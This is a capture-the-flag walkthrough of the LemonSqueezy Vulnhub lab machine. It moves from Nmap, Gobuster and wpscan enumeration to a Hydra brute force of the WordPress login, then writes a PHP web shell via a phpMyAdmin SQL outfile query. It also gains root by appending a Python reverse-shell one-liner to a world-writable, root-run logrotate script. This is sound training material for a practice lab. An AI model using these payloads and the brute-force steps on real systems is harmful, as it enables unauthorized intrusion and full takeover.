LemonSqueezy Vulnhub Walkthrough

LemonSqueezy:1 is a boot2root VM from Vulnhub. This is rated easy and good for beginners.

LemonSqueezy Vulnhub Walkthrough

This includes enumerating Wordpress and PhpMyAdmin to get the user shell and then exploiting a cron job running on the machine to get root. I’ve added the machine to my hosts file. Let’s dive in.

root@kali:~# cat /etc/hosts       localhost       kali    lemonsqueezy

Initial Enumeration

I started the reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.

root@kali:~# nmap -sC -sV -oA nmap/LemonSqueezy lemonsqueezy

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 16:12 IST
Nmap scan report for lemonsqueezy (
Host is up (0.00036s latency).
Not shown: 999 closed ports
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:72:86:BF (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

The port80 was open which displayed the Default Apache2 Page. Next, I used Gobuster to search for hidden directories and found two directories named wordpress and phpmyadmin.

root@kali:~# gobuster dir -u lemonsqueezy -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://lemonsqueezy
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/15 16:11:49 Starting gobuster
/wordpress (Status: 301)
/manual (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
2020/06/15 16:13:08 Finished

I decided to enumerate the wordpress directory first which was running a default wordpress theme.

I ran wpscan to enumerate for wordpress users and found two users named lemon and orange.

root@kali:~# wpscan --url http://lemonsqueezy/wordpress/ --enumerate u


[i] User(s) Identified:

[+] lemon
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://lemonsqueezy/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] orange
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)


The next goal was to log into wordpress, I tried some random passwords with the usernames but none of them worked. So the next option was to brute force the login. For this, I set up a burp proxy and captured the login request.

Then I used hydra to brute force the login credentials for user orange and found the password ginger.

root@kali:~# hydra lemonsqueezy http-form-post "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:incorrect" -l orange -P /usr/share/wordlists/rockyou.txt -t 10 -w 30    

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-15 16:19:50
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task
[DATA] attacking http-post-form://lemonsqueezy:80/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:incorrect
[80][http-post-form] host: lemonsqueezy   login: orange   password: ginger
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-15 16:20:05

After logging in as user orange, I found a post draft named “Keep this Safe” which contained some text, most probably a password.

User Shell

After some guesses, I found that this password can be used to login into the phpmyadmin page with the username orange and password nOt1n@wOrdl1st!

Then, I went to the SQL tab, where we can execute SQL queries on localhost and created a simple php backdoor.

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/backdoor.php"

The command executed without any errors. Then I went to the location, where the backdoor was created and executed the id command.

That was a success! Now it was time to get a netcat reverse shell back to the host machine and read our first flag!

root@kali:~# nc -lvnp 9001
listening on [any] 9001 ...connect to [] from (UNKNOWN) [] 50462  

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@lemonsqueezy:/var/www/html/wordpress$ cd /var/www/
cd /var/www

www-data@lemonsqueezy:/var/www$ cat user.txt
cat user.txt

Root Shell

For further enumeration, I uploaded the pspy script to look for running processes. To transfer files, I started a python http server on my host machine, and then downloaded it using wget on the target machine.

root@kali:~# python3 -m http.server 8000
Serving HTTP on port 8000 ( ...
www-data@lemonsqueezy:/home/orange$ cd /dev/shm
cd /dev/shm
www-data@lemonsqueezy:/dev/shm$ wget
--2020-06-15 20:31:41--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64              100%[===================>]   2.94M  --.-KB/s    in 0.04s   

2020-06-15 20:31:41 (82.9 MB/s) - 'pspy64' saved [3078592/3078592]

www-data@lemonsqueezy:/dev/shm$ chmod +x pspy64      
chmod +x pspy64

Then I gave it executable permissions and after executing the script, I found a logrotate process running as root which repeats itself after some interval.

I went to /etc/logrotate.d/ directory and found that the logrotate is a python script which is world writable.

www-data@lemonsqueezy:/dev/shm$ cd /etc/logrotate.d/
cd /etc/logrotate.d/
www-data@lemonsqueezy:/etc/logrotate.d$ ls -lah
ls -lah
total 56K
drwxr-xr-x   2 root root 4.0K Apr 26 14:45 .
drwxr-xr-x 122 root root  12K Jun 15 20:07 ..
-rw-r--r--   1 root root  433 Oct 14  2019 apache2
-rw-r--r--   1 root root  173 Sep 14  2017 apt
-rw-r--r--   1 root root  107 Sep 21  2016 dbconfig-common
-rw-r--r--   1 root root  232 Jun 10  2015 dpkg
-rwxrwxrwx   1 root root  101 Apr 26 14:45 logrotate
-rw-r--r--   1 root root  802 Jan 29 16:49 mysql-server
-rw-r--r--   1 root root   94 Feb 21 07:38 ppp
-rw-r--r--   1 root root  515 Jan 19  2017 rsyslog
-rw-r--r--   1 root root  513 Aug  2  2017 speech-dispatcher
-rw-r--r--   1 root root  235 Dec 11  2016 unattended-upgrades

www-data@lemonsqueezy:/etc/logrotate.d$ file logrotate
file logrotate
logrotate: Python script, ASCII text executable

I replaced the contents of the logrotate with a python reverse shell and opened a listener on another terminal.

www-data@lemonsqueezy:/etc/logrotate.d$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> logrotate

Within a few minutes, a reverse shell popped in and I was able to read the final flag!

root@kali:~# nc -lvnp 9000
listening on [any] 9000 ...
connect to [] from (UNKNOWN) [] 58776
root@lemonsqueezy:~# cat root.txt
cat root.txt

That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Ekaterina Rogova .